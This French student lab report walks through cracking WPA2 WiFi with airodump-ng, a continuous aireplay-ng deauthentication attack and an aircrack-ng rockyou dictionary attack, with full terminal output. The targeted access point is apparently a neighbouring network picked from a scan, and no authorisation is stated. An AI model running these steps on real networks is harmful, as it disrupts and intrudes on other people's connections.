

TP HACK WIFI

Matériels que j'ai utilisé pour effectuer ce TP

A) Une carte wifi compatible avec le mode écoute (Monitoring mode)



B) Kali Linux



Etape 1 : Activer le mode ÉCOUTE sur la carte WiFi

1.1. Afficher la carte sans fil avec la commande : sudo iwconfig

```
(root@dylansoukali) ~
# sudo iwconfig
lo      no wireless extensions.

eth0    no wireless extensions.

wlan0   IEEE 802.11 Mode:Monitor Frequency:2.412 GHz Tx-Power=20 dBm
        Retry short limit:7  RTS thr=2347 B Fragment thr:off
        Power Management:off
```

Ici on aperçoit bien ma carte réseaux ainsi que son mode qui est ici bien en Monitoring mode.

1.2 Activer le mode d'écoute

Pour activer le mode écoute j'utilise la commande : sudo airmon-ng start wlan0

```
(root@dylansoukali:~]
# sudo airmon-ng start wlan0

PHY      Interface      Driver      Chipset
phy1      wlan0         rtl8xxxu    TP-Link TL-WN722N v2/v3 [Realtek RTL8188EUS]
          (mac80211 monitor mode already enabled for [phy1]wlan0 on [phy1]10)
```

Ici on aperçoit bien la référence de ma carte wifi.

Étape 2 : Utiliser Airodump pour capturer les paquets

2.1. Analyser le trafic à proximité avec la commande sudo

airodump-ng wlan0

```
(root@dylansoukali:~]
# sudo airodump-ng wlan0

File System
Home

CH 4 ][ Elapsed: 24 s ][ 2023-11-20 16:10

BSSID      PWR  Beacons  #Data, #/s  CH   MB   ENC  CIPHER  AUTH  ESSID
E4:9E:12:C9:2C:98  -93    2      0  0  11  195  WPA2 CCMP  PSK  freebox_GJBTUV
B4:E2:65:F0:FE:B4  -93    2      0  0  6   260  WPA2 CCMP  PSK  SFR_FEB2
00:07:CB:B4:62:3E  -93    15     0  0  11  195  WPA2 CCMP  PSK  Freebox-B4623D
1C:57:3E:D2:6A:00  -93    0      0  0  11  -1   <length: 0>
E4:9E:12:C9:2C:99  -93    3      0  0  11  195  WPA2 CCMP  MGT  FreeWifi_secure
18:90:08:BF:37:C0  -93    1      1  0  6   130  WPA2 CCMP  PSK  kad
6C:38:A1:A8:55:30  -82    16     1  0  6   130  WPA2 CCMP  PSK  SFR_552F
00:07:CB:B4:62:3F  -93    15     0  0  11  195  WPA2 CCMP  MGT  FreeWifi_secure
34:DB:9C:4F:85:20  -93    1      1  0  11  130  WPA2 CCMP  PSK  Bbox-1A1D6A92
70:F3:5A:25:79:CB  -85    8      4  0  3   130  WPA2 CCMP  PSK  Livebox-da8c
70:F3:5A:25:79:CA  -93    7      1  0  3   130  WPA2 CCMP  PSK  Wifi_Cabinet
70:F3:5A:25:79:CB  -84    13     3  0  3   130  WPA2 CCMP  PSK  Wifi_Admin
58:FC:20:62:7C:00  -75    48     6  0  6   260  WPA2 CCMP  PSK  SFR_7BFF
34:49:5B:70:58:36  -82    22     5  0  6   260  WPA2 CCMP  PSK  Bbox-1BF87D7E
DE:00:B0:16:87:90  -55    58     7  0  6   260  WPA2 CCMP  PSK  Freebox-39E168
F8:AB:05:02:FD:90  -77    54     18  0  6   130  WPA2 CCMP  PSK  Bbox-9CA42E53
38:B5:C9:35:B2:20  -61    30     0  0  1   130  WPA2 CCMP  PSK  Livebox-B220
1C:57:3E:3E:76:F0  -75    32     3  0  1   260  WPA2 CCMP  PSK  SFR_76EF
22:66:CF:01:D3:84  -93    8      0  0  1   130  WPA2 CCMP  PSK  Freebox-61CB80
28:9E:FC:F5:E6:30  -79    21     15  5  1   130  WPA2 CCMP  PSK  Bbox-567DC4E9
60:35:00:53:E5:16  -71    40     0  0  1   130  WPA2 CCMP  PSK  SFR_E510
1C:57:3E:5D:43:C0  -81    8      1  0  1   260  WPA2 CCMP  PSK  SFR_43BF
44:D4:54:75:4B:00  -93    5      1  0  11  130  WPA2 CCMP  PSK  <length: 13>
60:8D:26:06:BD:F0  -93    44     2  0  11  130  WPA2 CCMP  PSK  Livebox-BDF0
B8:09:4D:00:32:10  -93    6      9  0  11  130  WPA2 CCMP  PSK  Bbox-Lavirotte
1C:57:3E:63:0F:B0  -75    45     3  0  11  260  WPA2 CCMP  PSK  SFR_0FAF
```

Et ensuite la commande pour analyser le trafic à proximité et enregistrez les paquets capturés dans un fichier est :

```
sudo airodump-ng wlan0 -w test01
```

Étape 3 : Capturer le handshake WPA2-PSK

3.1 Pour capturer le handshake j'ai utilisé la commande airodump-ng pour enregistrer le trafic d'un point d'accès spécifique, une fois le résultat afficher j'ai copié le BSSID et le numéro de canal du fichier que j'ai créé à l'étape d'avant.

```
sudo airodump-ng wlan0 --bssid F0:9F:C0:AA:6C:B8 -c 6 --write test01
```

```
[(root@dylansoukali)-[~]
# sudo airodump-ng wlan0 --bssid 38:B5:C9:35:B2:20 -c 1 --write test01
16:14:16  Created capture file "test01-01.cap".
CH 1 ][ Elapsed: 6 mins ][ 2023-11-20 16:20 ][ WPA handshake: 38:B5:C9:35:B2:20
BSSID      Sent/RxQ  PWR  RXQ  Beacons  #Data, #/s  CH   MB   ENC  CIPHER  AUTH  ESSID
38:B5:C9:35:B2:20  -49  82      3013      201      0  1  130  WPA2  CCMP  PSK  Livebox-B220
BSSID      Sent/RxQ  STATION  PWR  Rate  Lost  Frames  Notes  Probes
Quitting ...  Sent/RxQ  STATION  PWR  Rate  Lost  Frames  Notes  Probes
```

3.2. J'ai ensuite ouvert une nouvelle fenêtre de terminal et lancé une attaque deauth avec aireplay-ng

```
[(root@dylansoukali)-[~]
# sudo aireplay-ng --deauth 0 -a 38:B5:C9:35:B2:20 wlan0
16:16:31  Waiting for beacon frame (BSSID: 38:B5:C9:35:B2:20) on channel 1
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
16:16:31  Sending DeAuth (code 7) to broadcast -- BSSID: [38:B5:C9:35:B2:20]
16:16:32  Sending DeAuth (code 7) to broadcast -- BSSID: [38:B5:C9:35:B2:20]
16:16:32  Sending DeAuth (code 7) to broadcast -- BSSID: [38:B5:C9:35:B2:20]
16:16:33  Sending DeAuth (code 7) to broadcast -- BSSID: [38:B5:C9:35:B2:20]
```

La commande est : sudo aireplay-ng --deauth 0 -a 38 :B5 :C9 :35 :B2 :20 wlan0

Une fois cette commande effectuée je suis retourné sur la fenêtre précédente.

```
[root@dylansoukali]~
# sudo airodump-ng wlan0 --bssid 38:B5:C9:35:B2:20 -c 1 --write test01
16:14:16  Created capture file "test01-01.cap"

CH 1 ][ Elapsed: 6 mins ][ 2023-11-20 16:20 ][ WPA handshake: 38:B5:C9:35:B2:20

BSSID          PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
38:B5:C9:35:B2:20 -49 82 3013 201 0 1 130 WPA2 CCMP PSK Livebox-B220

BSSID          STATION PWR Rate Lost Frames Notes Probes
QUITTING...
```

J'ai bien récupéré le WPA handshake qui se trouve donc dans le fichier «test01-01.cap »

3.3.a Il faut maintenant confirmer le handshake capturé avec aircrack-ng.

La commande est : sudo aircrack-ng test01-01.cap

```
[root@dylansoukali]~
# sudo aircrack-ng test01-01.cap
Reading packets, please wait...
Opening test01-01.cap
Read 86722 packets.

# BSSID          ESSID          Encryption
1 38:B5:C9:35:B2:20  Livebox-B220          WPA (1 handshake)

Choosing first network as target.

Reading packets, please wait...
Opening test01-01.cap
Read 86722 packets.

1 potential targets

Please specify a dictionary (option -w).
```

On va maintenant chercher un dictionnaire déjà présent sur kali linux

```
[root@dylansoukali] ~]# ls /usr/share/wordlists
amass  dirbuster    fern-wifi  legion    nmap.lst    sqlmap.txt  wifite.txt
dirb   fasttrack.txt  john.lst   metasploit  rockyyou.txt.gz wfuzz
```

Donc ici le dictionnaire écrit en rouge « rockyou.txt.gz »

Et enfin on lance la commande `sudo aircrack-ng test01-01.cap -w /usr/share/wordlists/rockyou.txt.gz` afin de trouver la clé.

Ici dans mon cas la clé n'a pas été trouvée à cause du dictionnaire qui est plutôt basique et donc pas assez efficace, mais je n'ai pas trouvé de meilleur dictionnaire ou alors il aura fallu aller sur le darknet... 